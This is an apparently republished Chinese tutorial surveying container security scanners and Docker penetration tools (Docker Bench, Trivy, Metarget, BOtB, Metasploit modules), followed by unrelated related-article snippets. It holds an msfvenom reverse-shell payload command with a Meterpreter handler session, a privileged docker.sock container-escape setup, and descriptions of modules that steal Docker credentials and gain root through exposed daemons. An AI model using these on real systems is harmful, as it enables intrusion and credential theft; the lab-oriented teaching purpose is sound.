容器安全检测和渗透测试工具

news2024/12/29 8:52:26

《Java代码审计》icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484219&idx=1&sn=73564e316a4c9794019f15dd6b3ba9f6&chksm=c0e47a67f793f371e9f6a4fbc06e7929cb1480b7320fae34c32563307df3a28aca49d1a4addd&scene=21#wechat_redirect

Docker-bench-security

Docker Bench for Security 是一个脚本,用于自动化检查在生产中部署 Docker 容器的数十种常见最佳实践,比如主机配置的安全性、Docker deamon配置的安全性、容器镜像和构建的安全性等。

项目地址

https://github.com/docker/docker-bench-security

使用测试

在主机上下载并执行自动化脚本

git clone https://github.com/docker/docker-bench-security.git
cd docker-bench-security
sudo sh docker-bench-security.sh

脚本自动化检测当前主机的容器安全性,并将检测到的信息输出到终端,对于检测到的不安全的内容,会以[warn]提示,并在最后给出测评的分数.

2. trivy

简介

trivy是一个由asuz公司开源的简单而全面的扫描器,用于检测容器镜像、文件系统和 Git 存储库中的漏洞以及配置问题。 Trivy 检测操作系统包(Alpine、RHEL、CentOS 等)和特定语言包(Bundler、Composer、npm、yarn 等)的漏洞。此外,Trivy 会扫描基础设施即代码 (IaC) 文件,例如 Terraform、Dockerfile 和 Kubernetes,以检测使您的部署面临攻击风险的潜在配置问题。

项目地址

https://github.com/aquasecurity/trivy

使用测试

wget https://github.com/aquasecurity/trivy/releases/download/v0.21.2/trivy_0.21.2_Linux-64bit.tar.gz
tar -zxvf trivy_0.21.2_Linux-64bit.tar.gz
./trivy image alpine:3.10.7

3. Metarget

简介

Metarget的名称来源于meta-(元)加target(目标,靶机),是一个脆弱基础设施自动化构建框架,主要用于快速、自动化搭建从简单到复杂的脆弱云原生靶机环境。「绿盟科技研究通讯」上发布了一篇阐述Metarget的设计理念和技术目标的文章,见Metarget:云原生攻防靶场开源啦!。

项目地址

https://github.com/Metarget/metarget

使用测试

  • 安装
git clone https://github.com/brant-ruan/metarget.git
cd metarget/
pip install -r requirements.txt
  • 使用
./metarget cnv install cve-2019-5736
./metarget appv install dvwa --external

4. BOtB

简介:

BOtB是由Chris Le Roy开源的容器安全分析和脆弱点利用工具,使用go语言开发,它能够辅助环境探测,还能够利用CVE-2019-5736、Docker Socket或特权模式进行容器逃逸。还有识别K8s的密钥并使用、将数据推送到 S3 存储桶等功能

项目地址:

https://github.com/brompwnie/botb

使用测试:

docker run -itd -v /var/run/docker.sock:/run/docker.sock --privileged --name test2 ubuntu /bin/bash
docker exec -it test2 /bin/bash
apt update && apt install -y curl
curl -fSL "https://github.com/brompwnie/botb/releases/download/1.7.0/botb-linux-amd64" -o "botb-linux-amd64" \
&& chmod +x botb-linux-amd64

在容器中执行命令,使用特权模式进行容器逃逸

利用挂载到容器内的Docker Socket进行容器逃逸获得宿主机shell:

5. Metaspliot

在metaspliot中搜索关于docker的模块有以下几种,

msf6 > search docker
​
Matching Modules
================
​
   #   Name                                                    Disclosure Date  Rank       Check  Description
   -   ----                                                    ---------------  ----       -----  -----------
   0   auxiliary/gather/saltstack_salt_root_key                2020-04-30       normal     No     SaltStack Salt Master Server Root Key Disclosure
   1   auxiliary/scanner/http/docker_version                                    normal     No     Docker Server Version Scanner
   2   exploit/linux/http/dcos_marathon                        2017-03-03       excellent  Yes    DC/OS Marathon UI Docker Exploit
   3   exploit/linux/http/docker_daemon_tcp                    2017-07-25       excellent  Yes    Docker Daemon - Unprotected TCP Socket Exploit
   4   exploit/linux/http/rancher_server                       2017-07-27       excellent  Yes    Rancher Server - Docker Exploit
   5   exploit/linux/local/docker_daemon_privilege_escalation  2016-06-28       excellent  Yes    Docker Daemon Privilege Escalation
   6   exploit/linux/local/docker_privileged_container_escape  2019-07-17       normal     Yes    Docker Privileged Container Escape
   7   exploit/linux/misc/saltstack_salt_unauth_rce            2020-04-30       great      Yes    SaltStack Salt Master/Minion Unauthenticated RCE
   8   exploit/windows/local/docker_credential_wincred         2019-07-05       manual     Yes    Docker-Credential-Wincred.exe Privilege Escalation
   9   post/linux/gather/checkcontainer                                         normal     No     Linux Gather Container Detection
   10  post/linux/gather/enum_containers                                        normal     No     Linux Container Enumeration
   11  post/multi/gather/docker_creds                                           normal     No     Multi Gather Docker Credentials Collection
​
​
Interact with a module by name or index. For example info 11, use 11 or use post/multi/gather/docker_creds   

5.1 exploit/multi/handler

注意,post分类下的模块通常在后渗透阶段执行,因为这些模块的执行通常依赖于一个已有Meterpreter会话。为方便演示,我们采用如下操作来构造一个这样的Meterpreter shell:

在本地测试环境中,首先生成一个反弹shell:

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=172.17.0.1 lport=10000 -f elf -o reverse_shell

然后创建容器把反弹shell放进去,

docker cp ./reverse_shell e51242b34b04:/

接着在Metasploit中开启监听,再在容器中运行反弹shell。至此,我们在Metasploit中获得了一个Meterpreter:

msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp 
payload => linux/x64/meterpreter/reverse_tcp
​
msf6 exploit(multi/handler) > set LHOST 192.168.21.130
LHOST => 192.168.21.130
​
msf6 exploit(multi/handler) > set LPORT 10000
LPORT => 10000
msf6 exploit(multi/handler) > run
​
[*] Started reverse TCP handler on 192.168.21.130:10000 
[*] Sending stage (3008420 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (192.168.21.130:10000 -> 172.17.0.2:45290) at 2021-12-04 08:02:50 -0500
​
meterpreter > 

这个shell是容器内部的,如果要在宿主机上建立shell,只需要在宿主机上执行反弹shell程序即可。

5.2 docker_version

地址:https://github.com/rapid7/metas

功能:查看Docker服务器版本(设置VERBOSE参数为true能够获得更多信息)。

原理:向Docker Daemon监听的2375端口发起请求。

限制:目标环境的Docker Daemon必须开启端口监听且能够被远程访问。

实验:

在本地Docker测试环境中,先vi /usr/lib/systemd/system/docker.service修改 [Service]的ExecStart,增加 -H tcp://0.0.0.0:2375开启2375端口监听,然后在另外终端窗口中利用Metasploit进行扫描:

msf6 > use auxiliary/scanner/http/docker_version
msf6 auxiliary(scanner/http/docker_version) > show options
​
Module options (auxiliary/scanner/http/docker_version):
​
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    2375             yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   THREADS  1                yes       The number of concurrent threads (max one per host)
   VHOST                     no        HTTP server virtual host
​
msf6 auxiliary(scanner/http/docker_version) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(scanner/http/docker_version) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(scanner/http/docker_version) > exploit
​
[*] Identifying Docker Server Version on 127.0.0.1:2375       
[+] [Docker Server] Version: 20.10.11
[*] All info: {"Platform"=>{"Name"=>"Docker Engine - Community"}, "Components"=>[{"Name"=>"Engine", "Version"=>"20.10.11", "Details"=>{"ApiVersion"=>"1.41", "Arch"=>"amd64", "BuildTime"=>"2021-11-18T00:35:31.000000000+00:00", "Experimental"=>"false", "GitCommit"=>"847da18", "GoVersion"=>"go1.16.9", "KernelVersion"=>"5.10.0-kali3-amd64", "MinAPIVersion"=>"1.12", "Os"=>"linux"}}, {"Name"=>"containerd", "Version"=>"1.4.12", "Details"=>{"GitCommit"=>"7b11cfaabd73bb80907dd23182b9347b4245eb5d"}}, {"Name"=>"runc", "Version"=>"1.0.2", "Details"=>{"GitCommit"=>"v1.0.2-0-g52b36a2"}}, {"Name"=>"docker-init", "Version"=>"0.19.0", "Details"=>{"GitCommit"=>"de40ad0"}}], "Version"=>"20.10.11", "ApiVersion"=>"1.41", "MinAPIVersion"=>"1.12", "GitCommit"=>"847da18", "GoVersion"=>"go1.16.9", "Os"=>"linux", "Arch"=>"amd64", "KernelVersion"=>"5.10.0-kali3-amd64", "BuildTime"=>"2021-11-18T00:35:31.000000000+00:00"}
[*] Saving host information.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

5.3 exploit/linux/http/docker_daemon_tcp

地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/docker_daemon_tcp.rb

功能:利用监听了TCP socket的Docker守护进程实现root权限远程代码执行。

原理:远程给Docker守护进程下达命令拉取镜像,创建新容器,挂载宿主机目录,写入反弹shell的定时任务。

限制:目标环境的Docker Daemon必须开启端口监听且能够被远程访问。

实验:我们先开启Docker守护进程的TCP socket监听,然后在Metasploit中载入模块,设置payload为反弹Meterpreter,接着设置相关参数,最后执行模块即可

5.4 post/linux/gather/checkcontainer

地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/post/linux/gather/checkcontainer.rb

功能:检测目标环境是否为容器。

原理:较为简单,即检测/.dockerenv特征文件和cgroup里的特征字符串是否存在等。

限制:获得一个基础shell之后才能使用(后渗透阶段)。

实验:在Meterpreter中,执行该模块即可:run post/linux/gather/checkcontainer

5.5 post/linux/gather/enum_protections

地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/post/linux/gather/enum_protections.rb

功能:检测目标环境中各种漏洞缓解机制是否开启(对于容器环境来说,会影响逃逸成功率),具体检测了漏洞缓解措施是否开启,如ASLR、kernel.exec-shield、KAISER、SMEP/SMAP;还检测了LKRG、Grsecurity、PaX、SELinux、Yama等内核安全模块是否安装及开启;另外,还检测了一些常见安全应用等(详见源代码)。

原理:该模块调用了Metasploit核心模块Msf::Post::Linux::Kernel,核心模块则是通过读取内核通过procfs等伪文件系统在用户态暴露出的参数来判断相关缓解机制是否开启。例如,对ASLR的判断如下:

def aslr_enabled?
    aslr = cmd_exec('cat /proc/sys/kernel/randomize_va_space').to_s.strip
    (aslr.eql?('1') || aslr.eql?('2'))
  rescue
    raise 'Could not determine ASLR status'
  end

限制:获得一个基础shell之后才能使用(后渗透阶段)。

实验:在Meterpreter中,执行该模块即可:

5.6 post/multi/gather/docker_creds

地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/post/multi/gather/docker_creds.rb

功能:尝试读取所有用户目录下的.docker/config.json文件,解析获得认证凭据(如镜像仓库的登录凭据)。

原理:读取.docker/config.json文件。

限制:获得一个基础shell之后才能使用(后渗透阶段)。

实验:新安装的Docker环境下可能没有~/.docker/目录,可以先docker login登录一次镜像仓库,Docker就会为当前用户建立这个目录。接着,在宿主机上建立Meterpreter,然后执行模块即可,:

5.7 其他

  • exploit/linux/http/rancher_server
    利用 Rancher Server,在远程主机上创建新容器,并挂载宿主机目录,并反弹shell。
  • exploit/linux/http/dcos_marathon
    利用 DCOS Cluster's Marathon UI,在远程主机上创建新容器,并挂载宿主机目录,并反弹shell。
  • exploit/linux/local/docker_daemon_privilege_escalation
    当拿到目标宿主机上的一个普通用户shell时,如果该普通用户能够操作本机上的Docker,就能够借助Docker守护进程提升权限。
  • exploit/linux/local/docker_privileged_container_escape
    当docker以特权模式启动时,该模块可以通过利用特权模式使容器从宿主机中逃逸
  • exploit/linux/local/docker_runc_escape
    该模块利用 runc 中的一个缺陷 (CVE-2019-5736),通过覆盖runc文件,帮助容器逃逸

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2245575.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Day10_CSS过度动画

Day10_CSS过度动画 背景 : PC和APP项目我们已经开发完毕, 但是再真正开发的时候有些有些简易的动态效果我们可以使用CSS完成 ; 本节课我们来使用CSS完成基础的动画效果 今日学习目标 CSS3过度CSS3平面动态效果CSS3动画效果案例 1. CSS3过渡 ​ 含义 :过渡指的是元素从一种…

iOS应用网络安全之HTTPS

移动互联网开发中iOS应用的网络安全问题往往被大部分开发者忽略, iOS9和OS X 10.11开始Apple也默认提高了安全配置和要求. 本文以iOS平台App开发中对后台数据接口的安全通信进行解析和加固方法的分析. 1. HTTPS/SSL的基本原理 安全套接字层 (Secure Socket Layer, SSL) 是用来…

excel版数独游戏(已完成)

前段时间一个朋友帮那小孩解数独游戏&#xff0c;让我帮解&#xff0c;我看他用电子表格做&#xff0c;只能显示&#xff0c;不能显示重复&#xff0c;也没有协助解题功能&#xff0c;于是我说帮你做个电子表格版的“解题助手”吧&#xff0c;不能直接解题&#xff0c;但该有的…

金融数据中心容灾“大咖说” | 美创科技赋能“灾备一体化”建设

中国人民银行发布的《金融数据中心容灾建设指引》&#xff08;JR/T 0264—2024&#xff09;已于2024年7月29日正式实施。这一金融行业标准对金融数据中心容灾建设中的“组织保障、需求分析、体系规划、建设要求、运维管理”进行了规范和指导。面对不断增加的各类网络、业务、应…

Qt:信号槽

一. 信号槽概念 信号槽 是 Qt 框架中一种用于对象间通信的机制 。它通过让一个对象发出信号&#xff0c;另一个对象连接到这个信号的槽上来实现通信。信号槽机制是 Qt 的核心特性之一&#xff0c;提供了一种灵活且类型安全的方式来处理事件和数据传递。 1. 信号的本质 QT中&a…

SpringBoot与MongoDB深度整合及应用案例

SpringBoot与MongoDB深度整合及应用案例 在当今快速发展的软件开发领域&#xff0c;NoSQL数据库因其灵活性和可扩展性而变得越来越流行。MongoDB&#xff0c;作为一款领先的NoSQL数据库&#xff0c;以其文档导向的存储模型和强大的查询能力脱颖而出。本文将为您提供一个全方位…

大数据调度组件之Apache DolphinScheduler

Apache DolphinScheduler 是一个分布式易扩展的可视化 DAG 工作流任务调度系统。致力于解决数据处理流程中错综复杂的依赖关系&#xff0c;使调度系统在数据处理流程中开箱即用。 主要特性 易于部署&#xff0c;提供四种部署方式&#xff0c;包括Standalone、Cluster、Docker和…

ThinkPHP6门面(Facade)

门面 门面&#xff08;Facade&#xff09; 门面为容器中的&#xff08;动态&#xff09;类提供了一个静态调用接口&#xff0c;相比于传统的静态方法调用&#xff0c; 带来了更好的可测试性和扩展性&#xff0c;你可以为任何的非静态类库定义一个facade类。 系统已经为大部分…

MySQL win安装 和 pymysql使用示例

目录 一、MySQL安装 下载压缩包&#xff1a; 编写配置文件&#xff1a; 配置环境变量&#xff1a; 初始化服务和账户 关闭mysql开机自启&#xff08;可选&#xff09; 建议找一个数据库可视化软件 二、使用pymysql操作数据库 安装pymysql 示例代码 报错处理 一、My…

Parker派克防爆电机在实际应用中的安全性能如何保证?

Parker防爆电机确保在实际应用中的安全性能主要通过以下几个方面来保证&#xff1a; 1.防爆外壳设计&#xff1a;EX系列电机采用强大的防爆外壳&#xff0c;设计遵循严格的防爆标准&#xff0c;能够承受内部可能发生的爆炸而不破损&#xff0c;利用间隙切断原理&#xff0c;防…

空间与单细胞转录组学的整合定位肾损伤中上皮细胞与免疫细胞的相互作用

result 在空间转录组图谱中对人类肾脏进行无监督映射和细胞类型鉴定 我们试图在H&E染色的人类参考肾切除标本组织切片上直接映射转录组特征。该组织来自一名59岁的女性&#xff0c;其肾小球闭塞和间质纤维化程度最低&#xff08;分别影响不到10%的肾小球或肾实质&#xff…

greater<>() 、less<>()及运算符 < 重载在排序和堆中的使用

简略图 greater<>()(a, b) a > b 返回true&#xff0c;反之返回false less<>()(a, b) a < b 返回true&#xff0c;反之返回false 在cmp中使用&#xff08;正着理解&#xff09; 规则返回true时a在前&#xff0c;反之b在前 在priority_queue中使用 &#xff…

详细描述一下Elasticsearch索引文档的过程?

大家好&#xff0c;我是锋哥。今天分享关于【详细描述一下Elasticsearch索引文档的过程&#xff1f;】面试题。希望对大家有帮助&#xff1b; 详细描述一下Elasticsearch索引文档的过程&#xff1f; Elasticsearch的索引文档过程是其核心功能之一&#xff0c;涉及将数据存储到…

入门车载以太网(6) -- XCP on Ethernet

目录 1.寻址方式 2.数据帧格式 3.特殊指令 4.使用实例 了解了SOME/IP之后&#xff0c;继续来看看车载以太网在汽车标定领域的应用。 在汽车标定领域XCP是非常重要的协议&#xff0c;咱们先来回顾下基础概念。 XCP全称Universal Measurement and Calibration Protocol&a…

Python中常用的函数介绍

Python中常用的几种函数 1、input函数 input()函数&#xff1a;主要作用是让用户输入某个内容并接收它。 #输入你的年龄 >>> age input("my age is :") my age is :20 执行代码后输入年龄&#xff0c;年龄被存放到age变量中&#xff0c;执行print后终端会…

Ubuntu从入门到精通(二)远程和镜像源配置齐全

Ubuntu从入门到精通(二) 1 常见操作配置 1.1 英文语言配置 1.1.1 打开设置 1.1.2 设置语言为英文 1.1.3 重启生效 1.1.4 再次进入,选择更新名字 1.1.5 再次进入,发现已经变成了英文 1.2 输入法配置 1.3 rustdesk安装 1.3.1 Windows系统配置 登陆:https://github.com…

卷积神经网络(CNN)中的池化层(Pooling Layer)

池化层&#xff08;Pooling Layer&#xff09;&#xff0c;也被称为下采样层&#xff0c;是深度学习神经网络中常用的一种层级结构。它通常紧跟在卷积层之后&#xff0c;对卷积层输出的特征图进行下采样操作。 一、定义与功能 池化层的主要作用是通过减少特征图的尺寸来降低计算…

【linux硬件操作系统】计算机硬件常见硬件故障处理

这里写目录标题 一、故障排错的基本原则二、硬件维护注意事项三、关于最小化和还原出厂配置四、常见故障处理及调试五、硬盘相关故障六、硬盘相关故障&#xff1a;硬盘检测问题七、硬盘相关故障&#xff1a;自检硬盘报错八、硬盘相关故障&#xff1a;硬盘亮红灯九、硬盘相关故障…

《操作系统》实验内容 实验二 编程实现进程(线程)同步和互斥(Python 与 PyQt5 实现)

实验内容 实验二 编程实现进程&#xff08;线程&#xff09;同步和互斥 1&#xff0e;实验的目的 &#xff08;1&#xff09;通过编写程序实现进程同步和互斥&#xff0c;使学生掌握有关进程&#xff08;线程&#xff09;同步与互斥的原理&#xff0c;以及解决进程&#xf…

智慧路面管理系统平台 智慧照明 智慧市政 智慧交通

智慧路面管理系统平台   智慧路面管理系统平台&#xff0c;旨在提高城市道路的智能化水平和交通效率。该系统通过集成传感器、摄像头、监控设备、大数据、云计算等多种技术手段&#xff0c;实现对道路状况和交通流量的实时监测与分析&#xff0c;从而提供精准的交通数据和智能…